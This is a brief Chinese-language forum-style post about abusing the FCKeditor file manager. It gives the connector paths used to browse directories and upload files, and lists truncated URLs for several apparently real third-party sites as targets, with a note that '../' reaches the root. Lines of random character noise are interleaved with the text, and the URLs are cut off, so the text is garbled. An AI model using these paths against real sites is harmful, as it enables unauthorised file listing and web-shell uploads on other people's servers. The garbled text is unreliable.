fckeditor漏洞

admin

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
% G# R; J+ a6 ?8 g/ \, V) Yhttp://www.china-photo-model.com ... aspx/connector.aspx
% w  q1 Y( p6 m3 }7 o3 l$ j+ D& d
* E2 P/ Y' J# _" M5 {! |  k
' ^7 B) i3 r8 b5 vhttp://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector
2 W' @: h* F1 A




查看配置和列出目录下的文件.
8 j0 \/ U/ }+ G' L1 v$ I* r% {
( N+ I0 g, Q9 E, A
8 b3 u; L, g  l1 }- P( Ahttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
0 W6 X9 {( ?8 O+ x6 Y/ M1 a4 R8 d
上传地址:
: @, @+ E2 v  J/ n! Z. {" t
8 l  K! A! W+ L- whttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
0 v% L( G$ x6 R& e- w3 Ohttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录